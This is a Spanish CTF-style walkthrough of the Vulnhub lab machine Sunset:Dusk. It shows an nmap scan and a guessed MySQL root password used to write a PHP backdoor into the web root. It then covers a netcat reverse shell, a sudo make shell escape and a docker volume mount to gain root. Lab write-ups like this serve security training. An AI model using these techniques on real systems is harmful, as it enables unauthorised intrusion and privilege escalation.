Hoy vamos a hackear la maquina de Vulnhub llamada Sunset:Dusk.Podeis descargarla desde el siguiente enlace: Sunset-Dusk



Empezamos con un nmap para ver que puertos tiene abiertos.

~ > nmap -A -p-                                                 
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-25 11:57 CEST
Nmap scan report for dusk.home (
Host is up (0.00060s latency).
Not shown: 65529 closed ports
21/tcp   open  ftp     pyftpdlib 1.5.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to:
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 b5:ff:69:2a:03:fd:6d:04:ed:2a:06:aa:bf:b2:6a:7c (RSA)
|   256 0b:6f:20:d6:7c:6c:84:be:d8:40:61:69:a2:c6:e8:8a (ECDSA)
|_  256 85:ff:47:d9:92:50:cb:f7:44:6c:b4:f4:5c:e9:1c:ed (ED25519)
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: dusk.dusk, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, 
| ssl-cert: Subject: commonName=dusk.dusk
| Subject Alternative Name: DNS:dusk.dusk
| Not valid before: 2019-11-27T21:09:14
|_Not valid after:  2029-11-24T21:09:14
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3306/tcp open  mysql   MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.18-MariaDB-0+deb10u1
|   Thread ID: 38
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, SupportsLoadDataLocal, 
Speaks41ProtocolOld, SupportsTransactions, ODBCClient, InteractiveClient, 
DontAllowDatabaseTableColumn, LongColumnFlag, Support41Auth, 
SupportsCompression, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, 
ConnectWithDatabase, FoundRows, SupportsMultipleStatments, 
SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: #aA`Cjl_yb`;D&-N%jjT
|_  Auth Plugin Name: 104
8080/tcp open  http    PHP cli server 5.5 or later (PHP 7.3.11-1)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: Host:  dusk.dusk; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.97 seconds
Una vez vemos los puertos que tiene abiertos, visitamos para ver que nos encontramos. Vemos que abajo aparece que el directorio de trabajo es /var/tmp... Por otro lado, probamos a conectarnos al mysql con el usuario root y probando varias passwords. Tras probar unas pocas, encontramos que la password es "password".

~ > mysql -u root -p -h
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 39
Server version: 10.3.18-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 
Una vez conectados a mysql, y sabiendo como hemos visto anteriormente que tenemos acceso a la web :8080 la cual su directorio de trabajo es /var/tmp, vamos a probar a poner una backdoor en esa ruta usando mysql.

MariaDB [(none)]> select ("") into outfile 
Query OK, 1 row affected (0.001 sec)
Vemos que la query ha ido bien. Si visitamos de nuevo la pagina veremos que nos aparece el fichero cmd.php. Arrancamos nc.

~ > nc -nlvp 5555
listening on [any] 5555 ...
Y visitamos: -e /bin/bash 5555

Low Shell

~ > nc -nlvp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 41142
python -c 'import pty;pty.spawn("/bin/bash")'
Hemos obtenido la reverse shell :)


Miramos la flag del usuario.

www-data@dusk:/var/tmp$ cd /home
www-data@dusk:/home$ ls
www-data@dusk:/home$ cd dusk
www-data@dusk:/home/dusk$ ls
www-data@dusk:/home/dusk$ cat user.txt
Exploramos un poco y miramos si podemos hacer algo con sudo.

www-data@dusk:/home/dusk$ sudo -l
Matching Defaults entries for www-data on dusk:
    env_reset, mail_badpass,

User www-data may run the following commands on dusk:
    (dusk) NOPASSWD: /usr/bin/ping, /usr/bin/make, /usr/bin/sl
Podemos usar "make" para obtener los privilegios de dusk.

www-data@dusk:/home/dusk$ sudo -u dusk make -s --eval=$'x:\n\t-'"/bin/bash"
dusk@dusk:~$ id
uid=1000(dusk) gid=1000(dusk) 
Ahora somos dusk! Vemos que dusk esta en el grupo docker. Asi que como en otras ocasiones, montamos el FS del host en una carpeta del container en el cual somos root, y asi podremos ver todos los ficheros del host y tendremos permisos en todos ellos.

docker run -it -v /:/mnt alpine
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
df20fa9351a1: Pull complete 
Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321
Status: Downloaded newer image for alpine:latest
/ # id
uid=0(root) gid=0(root) 
Ahora que estamos como root en el container y tenemos el FS del host montado, solo nos falta mirar la flag de root!


/ # cd /root/mnt/root
/mnt/root # ls       
/mnt/root # cat root.txt
Congratulations on successfully completing the challenge! I hope you enjoyed as 
much as i did while creating such device. 
Send me some feedback at @whitecr0wz! 

                         .'  .-.'__.-----.\
                        /    `-'(__--'
                      .'       `. _ `--._
                     /            .`--'''`
                    /           .'   
                 _.'-.         J    
                /    J         F    
              .'     F        J     
             /      /         /-.    
            /      /         /   \    
           /      /         J    |      
          /      /          /   /   
         /   /  /          J   /    
        /   /  /           /-'/
       /   / -'           /  /    
      J   / /            / .'      
      / -'-'   /        /-'        
     (/|      |        /           
      /.'   ) | _.--  /            
     //     < \/   (  |            
    //       `.\    `.`.           
   //     ___/ \ `-.  `.`. 
   - ----'      )|`.\)  `-))\-')  
                '   )     ')/

Until then!



Y con esto ya seriamos root de la maquina.